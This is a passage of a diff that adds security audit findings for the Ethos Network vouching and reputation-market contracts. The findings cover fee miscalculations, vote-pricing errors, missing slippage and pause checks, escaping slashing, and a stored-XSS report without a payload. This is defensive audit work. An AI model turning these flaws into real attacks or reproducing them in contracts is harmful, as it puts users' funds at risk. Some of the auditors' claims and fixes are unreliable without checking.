`EthosProfile::deleteAddressAtIndex()` function. +4. Alice remains the donation recipient for the market that is associated with profile ID `10`, continuing to earn fees. while Bob, the primary user representing the market and profile, receives nothing. + +**POC:** + +- If needed, I am happy to provide one upon judge request. + +## Recommended Mitigation + +As outlined above, a function should be added to the `ReputationMarket` contract that can only be called by the `EthosProfile` contract whenever a user unregisters another user. The function should: + +1. Check if a Reputation Market exists for the user's profile. +2. If it exists, verify whether the unregistered user is the current donation recipient of the market. If so, set one of the remaining users of the profile as the new donation recipient, since a profile can have more than one user associated with it. Also, transfer any accrued donation fees from the unregistered user to the new user who will be set as the new donation recipient. +3. If no Reputation Market exists for user profile, do nothing. + + diff --git a/278.md b/278.md new file mode 100644 index 0000000..eba3ab3 --- /dev/null +++ b/278.md @@ -0,0 +1,85 @@ +Long Chocolate Ladybug + +Medium + +# Wrong comments lead to potential risks + +### Summary + +There are incorrect comments in several parts of the code regarding key values and variables. While this may seem non-critical, it poses potential risks during development due to the importance of accurate documentation. + +### Root Cause + +In [EthosVouch.sol#L166-L170](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L166C3-L170C91): + +```solidity +/** + * @notice Maps subject profile IDs and vouch IDs to their index in the vouchIdsForSubjectProfileId array + * @dev authorProfileId => subjectProfileId => vouchId @audit-issue subjectProfileId => vouchId => vouchIdsForSubjectProfileId Index + */ +mapping(uint256 => mapping(uint256 => uint256)) public vouchIdsForSubjectProfileIdIndex; +``` + +In [Reputation.sol#L219-L253](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L219C5-L253C7): + +```solidity +// Default tier +// - Minimum viable liquidity for small/new markets +// - 0.002 ETH initial liquidity //@audit-issue 0.02 ETH initial liquidity +// - 1 vote each for trust/distrust (volatile price at low volume) +marketConfigs.push( + MarketConfig({ + initialLiquidity: 2 * DEFAULT_PRICE, + initialVotes: 1, + basePrice: DEFAULT_PRICE + }) +); + +// Deluxe tier +// - Moderate liquidity for established profiles +// - 0.05 ETH initial liquidity //@audit-issue 0.5 ETH initial liquidity +// - 1,000 votes each for trust/distrust (moderate price stability) +marketConfigs.push( + MarketConfig({ + initialLiquidity: 50 * DEFAULT_PRICE, + initialVotes: 1000, + basePrice: DEFAULT_PRICE + }) +); + +// Premium tier +// - High liquidity for stable price discovery +// - 0.1 ETH initial liquidity //@audit-issue 1.0 ETH initial liquidity +// - 10,000 votes each for trust/distrust (highly stable price) +marketConfigs.push( + MarketConfig({ + initialLiquidity: 100 * DEFAULT_PRICE, + initialVotes: 10000, + basePrice: DEFAULT_PRICE + }) +); +``` + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Incorrect comments can lead to potential risks during development and may result in complicated issues that are difficult to diagnose and resolve. + +### Proof of Concept + +_No response_ + +### Mitigation + +To mitigate these risks, it is essential to review and correct the comments in the affected sections of the code to ensure they accurately reflect the intended functionality and values. \ No newline at end of file diff --git a/279.md b/279.md new file mode 100644 index 0000000..399bbab --- /dev/null +++ b/279.md @@ -0,0 +1,118 @@ +Sweet Carmine Dachshund + +Medium + +# The balance of vouch is less than expected due to the incorrect fee calculation + +### Summary + +[`EthosVouch#applyFees()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965) calculates entry fees incorrectly + +### Root Cause + +According the sponsor's reply: +>The intent is that when we display to users: "would you like to vouch 100 Eth? Send us 107 Eth. It is 107 Eth because we have fees that add on another 7%" +The entry fees should calculated as below: + +```math +\begin{align*} +bips_{protocol} &= 1\% \\ +bips_{donation} &= 2\% \\ +bips_{vouchersPool} &= 4\% \\ +amount_{deposited} &= 100 ETH \\ +amount_{total} &= amount_{deposited} * (1 + bips_{protocol} + bips_{donation} + bips_{vouchersPool}) \\ +&= 100 ETH * (1 + 1\% + 2\% + 4\%) \\ +&= 107 ETH \\ +\\ +fees_{entry} &= amount_{total} - amount_{deposited} \\ +&= 107 ETH - 100 ETH \\ +&= 7 ETH \\ +\end{align*} +``` +However, the entry fees are calculated separately in `EthosVouch#applyFees()`, resulting the sum of entry fees incorrect, and the caller might pay entry fees more than expected. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The users pay more entry fees than expected for their vouching + +### PoC + +Copy below into [EthosVouch.test.ts](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/EthosVouch.test.ts) and run `npm run test:contracts`: +```solidity + it.only('second vouching receive less than 1 ether', async () => { + const { + ethosVouch, + PROFILE_CREATOR_0, + PROFILE_CREATOR_1, + VOUCHER_0, + VOUCHER_1, + ethosProfile, + OWNER, + ADMIN, + } = await loadFixture(deployFixture); + + // create a profile + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address); + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_1.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); + await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1); + await ethosProfile.connect(VOUCHER_1).createProfile(1); + + // 0 + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('0.0123'), + }); + + expect(await ethosVouch.vouchCount()).to.equal(1, 'Wrong vouchCount, 0'); + + //@audit-info set entryProtocolFeeBasisPoints to 1% + await ethosVouch.connect(ADMIN).setEntryProtocolFeeBasisPoints(100); + //@audit-info set entryDonationFeeBasisPoints to 2% + await ethosVouch.connect(ADMIN).setEntryDonationFeeBasisPoints(200); + //@audit-info set entryVouchersPoolFeeBasisPoints to 4% + await ethosVouch.connect(ADMIN).setEntryVouchersPoolFeeBasisPoints(400); + //@audit-info vouch 1.07 ether for profile id 3 + await ethosVouch.connect(VOUCHER_1).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('1.07'), + }); + + expect(await ethosVouch.vouchCount()).to.equal(2, 'Wrong vouchCount, 1'); + const vouch = await ethosVouch.vouches(1); + //@audit-info the balance is less than 1 ether + expect(vouch.balance).to.be.lessThan(ethers.parseEther('1'), 'Wrong Balance'); + }); +``` +As we can see, `VOUCHER_1` paid `1.07 ether` but got vouch less than `1 ether`. + +### Mitigation + +Update the entry fee calculation using the following formulas: +```math +\begin{align*} +amount_{total} &= amount_{deposited} * (1 + bips_{protocol} + bips_{donation} + bips_{vouchersPool}) \\ +\Downarrow \\ +amount_{deposited} &= \frac{1}{1 + bips_{protocol} + bips_{donation} + bips_{vouchersPool}} * amount_{total} \\ +\\ +fees_{entry} &= amount_{total} - amount_{deposited} \\ +&= \frac{bips_{protocol} + bips_{donation} + bips_{vouchersPool}}{1 + bips_{protocol} + bips_{donation} + bips_{vouchersPool}} * amount_{total} \\ +\Downarrow \\ +fee_{protocol} &= \frac{bips_{protocol} }{bips_{protocol} + bips_{donation} + bips_{vouchersPool}} * fees_{entry} \\ +fee_{donation} &= \frac{bips_{donation}}{bips_{protocol} + bips_{donation} + bips_{vouchersPool}} * fees_{entry} \\ +fee_{vouchersPool} &= \frac{bips_{vouchersPool}}{bips_{protocol} + bips_{donation} + bips_{vouchersPool}} * fees_{entry} \\ +\end{align*} +``` \ No newline at end of file diff --git a/280.md b/280.md new file mode 100644 index 0000000..c788528 --- /dev/null +++ b/280.md @@ -0,0 +1,39 @@ +Hot Purple Antelope + +Medium + +# User will store XSS in comment/metadata variables + +### Summary + +When user create vouch, he can store html/js code in comment or metadata variable. Values of there variables will show on project's website. There is not filter of html/js code. + +### Root Cause + +in `EthosVouch.sol:404` and `EthosVouch.sol.405` values from `comment` and `metadata` variables stored in Vouch structure. These values will show on website without filter. So, attacker could write html/js code in these variables and create xss attack on website. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L396-L405 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +User create vouch with comment: `` and user on website can see popup. Its jus example. +Of course, attacker could inject other js script, which can steal passwords and other information. + +### Impact + +Attacker could create stored XSS on project's website and run malicious js code. + +### PoC + +_No response_ + +### Mitigation + +Dont allow create vouch with comment/metadata, which contains js/html tags. \ No newline at end of file diff --git a/281.md b/281.md new file mode 100644 index 0000000..e87d16c --- /dev/null +++ b/281.md @@ -0,0 +1,47 @@ +Fun Shamrock Wasp + +Medium + +# `EthosVouch` max fee can go up to 100% + +### Summary + +In README, it states that the max total fee cannot exceed 10%, which is 1000, however, this variable is incorrect written in contract, causing max fees can go over such value. + +### Root Cause + +Per README: +> For both contracts: +> Maximum total fees cannot exceed 10% + +Which by the basis point in contract, it should be 1000, as 10000 means 100%, however, in contract: +```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; + uint256 public constant BASIS_POINT_SCALE = 10000; +``` + +The actual value is set to 10000, which is exactly 100%, way exceeding the limit. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Total fees can go beyond limited value, breaking an invariant. + +### PoC + +_No response_ + +### Mitigation + +Change the value from 10000 to 1000. \ No newline at end of file diff --git a/282.md b/282.md new file mode 100644 index 0000000..b345a17 --- /dev/null +++ b/282.md @@ -0,0 +1,62 @@ +Long Chocolate Ladybug + +Medium + +# Logic error in function increaseVouch() + +### Summary + +The minimum vouch amount must be greater than or equal to `ABSOLUTE_MINIMUM_VOUCH_AMOUNT`. However, the current check for the amount in the `increaseVouch` function is not suitable for the intended financial logic. + +### Root Cause + +When vouches are initially created, the vouch amount is verified in the function `vouchByProfileId` ([EthosVouch.sol#L380-L382](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L380C5-L382C6)): + +```solidity +function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata +) public payable whenNotPaused nonReentrant { + ... + // must meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + ... +} +``` + +After the initial vouch, the amount staked is already greater than `ABSOLUTE_MINIMUM_VOUCH_AMOUNT`. The purpose of the `increaseVouch` function is to increase the amount staked for an existing vouch. Therefore, when this function is invoked, `msg.sender` has already staked an amount that meets the minimum vouch requirement. It is unnecessary to check the amount again using the same vouch ID in `increaseVouch`. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This logic error can lead to financial issues when attempting to increase the vouch amount, resulting in unnecessary complications. + +### Proof of Concept + +_No response_ + +### Mitigation + +To resolve this issue, the verification in the `increaseVouch` function should be updated as follows: + +```solidity +function increaseVouch(uint256 vouchId) public payable nonReentrant { + // Check that the increase amount is not zero + require(msg.value != 0, "invalid amount to increase"); + ... +} +``` \ No newline at end of file diff --git a/283.md b/283.md new file mode 100644 index 0000000..f336c96 --- /dev/null +++ b/283.md @@ -0,0 +1,82 @@ +Gigantic Blue Nuthatch + +High + +# Fees on `buyVotes` are wrongly added in `marketFunds` + +### Summary + +- When user buys the votes by `buyVotes`, there are 2 types of fees - entry protocol fees and donation fees which are collected from the buy amounts. +- protocol fees are transferred to protocol fee address and donation fees are updated in donationEscrow of the profile id author (donationRecipient). +- There is variable called `fundsPaid` which is for total amount of fund used for buying votes. In `fundsPaid` protocol fees are donation fees both are added. + +```solidity +function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + ... + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +@> fundsPaid += protocolFee + donation; + ... + } + ``` +- Now in `buyVotes` this variable called `fundsPaid` is added to the `marketFunds`. And market funds amount will be withdraw by the graduation withdrawal address after the graduation of the market. + +```solidity + // tally market funds +@> marketFunds[profileId] += fundsPaid; +``` +- This means both the fees are accounted 2 times and both fees will be collected by their actual holder and also by the graduation withdrawal address after the graduation of the market which is completely wrong and not expected. This is the loss for the contract. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- Protocol fees and donation fees both are added to marketFunds which is loss of funds for the contract. + +### PoC + +_No response_ + +### Mitigation + +- Protocol should make sure that marketFunds do not account for the fees taken at the time of buying votes. \ No newline at end of file diff --git a/284.md b/284.md new file mode 100644 index 0000000..8180317 --- /dev/null +++ b/284.md @@ -0,0 +1,86 @@ +Gigantic Blue Nuthatch + +High + +# Fees are also collected on refund amount at the time of buying votes + +### Summary + +- When user wants to buy votes, user provide eth in msg.value and user will get votes by calculating vote price with each count update. The last remaining eth which are less than vote price will be refunded to the user. +- Now there are 2 type of fees at the time of buying votes - protocol fees and donation fees. This fees should be collected on the amount of buying because that is the actual amount used for buying votes. +- But in the protocol, when user buys the vote and provide msg.value in eth, fees are collected to the whole eth which are provided for buying tokens. After that remaining eth amount is used to buy the votes and the last remaining eth amout which is not sufficient to buy vote are refunded to the user. + +```solidity +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice +@> ) = _calculateBuy(markets[profileId], isPositive, msg.value); + ... +``` + +```solidity + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; +@> (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + ... +``` +- It shows that fees are collected on the whole msg.value that means fees are also collected on refunded eth amount which is not expected. + + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L459 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- Protocol fees and donation fees are also collected from the refunded eth amount ate the time of `buyVotes` which is loss for the buyer. + +### PoC + +_No response_ + +### Mitigation + +- Protocol should make sure that both the fees should only collected from the actual amount of eth which are used to buy votes. \ No newline at end of file diff --git a/285.md b/285.md new file mode 100644 index 0000000..7e0565d --- /dev/null +++ b/285.md @@ -0,0 +1,42 @@ +Hot Purple Antelope + +Medium + +# There is not slippage check for final vouch's balance + +### Summary + +User could not know exact final value of his future vouch, when he send tx for creating/increasing vouch. Because fee could be changed at anytime by admin. + +### Root Cause + +in `EthosVouch.sol:402` there is not slippage protection from fee changing. User could not control final amount of his vouch, because fee could be changed by admin at any time. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L384 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User check current fees in contract. +2. Create tx in his wallet. +3. At this moment admin change fees in contract +4. New fees is not comfort for user, but he dont know about this changing and send tx for creating/increasing vouch + +### Impact + +User could not control final balance of his vouch. And dont know exact balance value, before tx will be minted. + +### PoC + +_No response_ + +### Mitigation + +Allow for user to specify final amount(balance) of vouch in vouchByProfileId() and increaseVouch() functions. \ No newline at end of file diff --git a/286.md b/286.md new file mode 100644 index 0000000..bf11336 --- /dev/null +++ b/286.md @@ -0,0 +1,52 @@ +Soft Fossilized Aardvark + +High + +# No slippage protection in `sellVotes` function + +## Root cause +The [sellVotes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) function in the `ReputationMarket` contract does not include slippage protection for sellers. This exposes them to unexpected changes in the amount of funds received (`fundsReceived`) due to market fluctuations before their transaction is executed. +```solidity +function sellVotes(uint256 profileId, bool isPositive, uint256 amount) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); // @audit No slippage protection + + // --SNIP +``` +Since there is no slippage protection, the seller’s proceeds can vary significantly if market conditions change between the time the transaction is initiated and executed, especially in low-liquidity markets such as the Minimum Viable Liquidity market. + +### Example Scenario: +- A market has `6` trust votes and `5` distrust votes for a given profileId. +- A user attempts to sell `1` trust vote and expects to receive `5/10 * basePrice = 0.0005 ether`. +- Before the user's transaction is executed, another user purchases `5` **distrust** votes. +- When the user’s transaction executes, the expected funds decrease to `5/15 * basePrice = 0.00033 ether`. +- This represents a **16.7%** reduction in the expected proceeds. + +## Impact +Sellers may receive significantly less than anticipated for their votes, especially in markets with low liquidity. +## Internal pre-conditions +- None +## External pre-conditions +- None + +## Mitigation +Implement slippage protection in the `sellVotes` function to ensure sellers have control over the minimum acceptable funds they are willing to receive. diff --git a/287.md b/287.md new file mode 100644 index 0000000..22f4f49 --- /dev/null +++ b/287.md @@ -0,0 +1,88 @@ +Damaged Lipstick Cheetah + +High + +# Incorrect vote price computation in `_calculateSell` + +### Summary + +The `_calculateSell` function will incorrectly overwrite the first computed `votePrice`, making the sell price of the first item always be smaller than it should + +### Root Cause + +In [`ReputationMarket.sol`:1038](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1038), the `fundsReceived` is incremented **after** computing the new `votePrice` after decrementing `market.votes`. This leads to an incorrect accumulation of the `fundsReceived`, leading to always selling votes at a lower rate than expected + +### Internal pre-conditions + +User wants to sell votes. + +### External pre-conditions + +None. + +### Attack Path + +1. User wants to sell some `TRUST` or `DISTRUST` votes (doesn't matter) by triggering `sellVotes`. +2. Inside `_calculateSell`, at line [1026](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1026), the current vote price is queried. +3. At line [1036](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1036), `market.votes` is **decremented by one**, which will affect posterior calls to `_calcVotePrice`. +4. At line [1037](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1036), the vote price is calculated again **(note that the initial vote price from step 2 has not been used to increment `fundsReceived`)**. +5. After computing the decremented vote price, `fundsReceived` is actually incremented. However, the `votePrice` is smaller than it should be. + + + +### Impact + +High. Depending on the current amount of votes and the amount of votes to sell, loss could exceed 10 USD, which [is a valid high as per sherlock rules](https://docs.sherlock.xyz/audits/judging/guidelines#iv.-how-to-identify-a-high-issue). + +Note that it is also possible to create different market configs. [As long as the `basePrice` is greater than `MINIMUM_BASE_PRICE`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L370), the market config can be added, which means that markets with a base price of 0,01 ETH or even 1 ETH could be created, which would increase the total lose for the user when selling. + +### PoC + +_No response_ + +### Mitigation + +Update the logic in `_calculateSell` to update the price **after** incrementing `fundsReceived`: + +```diff + +function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 votesAvailable = votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST]; + + if (votesAvailable < amount) { + revert InsufficientVotesOwned(profileId, msg.sender); + } + + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; +- votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; ++ votePrice = _calcVotePrice(market, isPositive); + votesSold++; + } +``` \ No newline at end of file diff --git a/288.md b/288.md new file mode 100644 index 0000000..1770c40 --- /dev/null +++ b/288.md @@ -0,0 +1,66 @@ +Soft Fossilized Aardvark + +High + +# Incorrect value assigned to the constant `DEFAULT_PRICE` + +## Root cause +The [DEFAULT_PRICE](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L79) constant is incorrectly set to `0.01 ether` instead of the intended value of `0.001 ether`. This discrepancy leads to the `initialLiquidity` values being **inflated by a factor of 10**, contrary to the intended configuration documented in the `initialize` function. +According to the `initialize` function docs, the `initialLiquidity` should be set as follows: +- Default tier: `0.002 ETH` +- Deluxe tier: `0.05 ETH` +- Premier tier: `0.1 ETH` +```solidity +function initialize(address owner, address admin, address expectedSigner, address signatureVerifier, address contractAddressManagerAddr) external initializer { + // --SNIP + // Default tier + // - Minimum viable liquidity for small/new markets +>>> // - 0.002 ETH initial liquidity + // - 1 vote each for trust/distrust (volatile price at low volume) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 2 * DEFAULT_PRICE, + initialVotes: 1, + basePrice: DEFAULT_PRICE + }) + ); + + // Deluxe tier + // - Moderate liquidity for established profiles +>>> // - 0.05 ETH initial liquidity + // - 1,000 votes each for trust/distrust (moderate price stability) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 50 * DEFAULT_PRICE, + initialVotes: 1000, + basePrice: DEFAULT_PRICE + }) + ); + + // Premium tier + // - High liquidity for stable price discovery +>>> // - 0.1 ETH initial liquidity + // - 10,000 votes each for trust/distrust (highly stable price) + marketConfigs.push( + MarketConfig({ + initialLiquidity: 100 * DEFAULT_PRICE, + initialVotes: 10000, + basePrice: DEFAULT_PRICE + }) + ); +} +``` +But because the **constant** `DEFAULT_PRICE` is set to `0.01 ether`, the `initialLiquidity` will be **10 times bigger**: +- Default tier: `0.02 ETH` instead of `0.002 ETH` +- Deluxe tier: `0.5 ETH` instead of `0.05 ETH` +- Premier tier: `1 ETH` instead of `0.1 ETH` + +## Impact +The inflated `initialLiquidity` values result in market creators having to supply 10 times more ETH than intended. + +## Internal pre-conditions +- None +## External pre-conditions +- None +## Mitigation +Change the value of `DEFAULT_PRICE` to `0.001 ether` \ No newline at end of file diff --git a/289.md b/289.md new file mode 100644 index 0000000..7146ab1 --- /dev/null +++ b/289.md @@ -0,0 +1,60 @@ +Generous Macaroon Terrier + +Medium + +# Incorrect Vote Price Calculation in Sell Transaction + +### Summary + +A logical error in the vote price calculation mechanism will cause pricing inaccuracies for users as the current implementation incorrectly calculates funds received + +### Root Cause + +in `ReputationMarket.sol` https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1026-L1040 the vote price calculation logic incorrectly determines funds received by calculating the price after vote subtraction. + +### Internal pre-conditions + +1. User needs to call `_calculateSell()` function to simulate sell votes +2. Market needs to have more than 1 vote of the specified type (TRUST/DISTRUST) + + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User calls `_calculateSell()` to simulate sell multiple votes +2. Function calculates vote price after subtracting each vote +3. `fundsReceived` accumulates prices based on subsequent vote prices +4. User receives incorrect total funds for votes sold + +### Impact + +1. The users suffer an incorrect receival of funds due to misaligned vote pricing. +2. The protocol risks financial discrepancies in vote transactions. + +### PoC + +_No response_ + +### Mitigation + +Modify the implementation to calculate and accumulate vote prices before subtracting votes + +```solidity + +uint256 votePrice = _calcVotePrice(market, isPositive); +uint256 maxPrice = votePrice; +uint256 minPrice; +while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votesSold++; +} +``` \ No newline at end of file diff --git a/290.md b/290.md new file mode 100644 index 0000000..53e13d4 --- /dev/null +++ b/290.md @@ -0,0 +1,57 @@ +Soft Fossilized Aardvark + +High + +# Voucher can avoid slash + +## Root cause +The `unvouch` function lacks a waiting period, allowing users to immediately withdraw their funds. +According to the documentation, the slashing process requires some off-chain verification, and vounch more than 2 ETH allows participation in the slashing validation. +This means that before the slashing is executed, the user who is about to be slashed may become aware of it and can immediately withdraw their funds to avoid being slashed. +github:[https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L452](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L452) +```solidity + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` + +## Impact +User may avoid slash +## Internal pre-condition + +## External pre-condition +The user who is about to be slashed may learn this from the validator, or the user themselves might be the validator who is going to be slashed. + +## PoC +1. The user called the `unvouch` function and withdrew all their funds. +2. The validation process is completed, and the slashing is executed, but since the user had already exited in advance, the protocol did not receive the slashing penalty. + +## Mitigation +After calling the `unvouch` function, the user should not be able to immediately withdraw their funds. Instead, there should be a delay period before they can claim their funds. During this period, the funds are subject to being slashed if necessary. \ No newline at end of file diff --git a/291.md b/291.md new file mode 100644 index 0000000..4f7b097 --- /dev/null +++ b/291.md @@ -0,0 +1,40 @@ +Soft Fossilized Aardvark + +Medium + +# Missing `whenNotPaused` modifier in `increaseVouch` function + +## Root cause +The [increaseVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L444) function in the `EthosVouch` contract lacks the `whenNotPaused` modifier, which is intended to restrict functionality when the contract is paused: +```solidity +function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` +The absence of `whenNotPaused` allows the `increaseVouch` function to be executed even when the contract is paused. This behavior contradicts the intended functionality, as`vouchByProfileId` reverts when the contract is paused and both `vouchByProfile` and `increaseVouch` primarily serve the purpose of increasing a vouch stake and should have uniform pause logic. + +## Impact +When the `EthosVouch` contract is paused, vouch owners can still call the `increaseVouch` function to increase their vouch stake. +## Internal pre-condition +- The`EthosVouch` contract is paused +## External pre-condition +None + +## Mitigation +Add 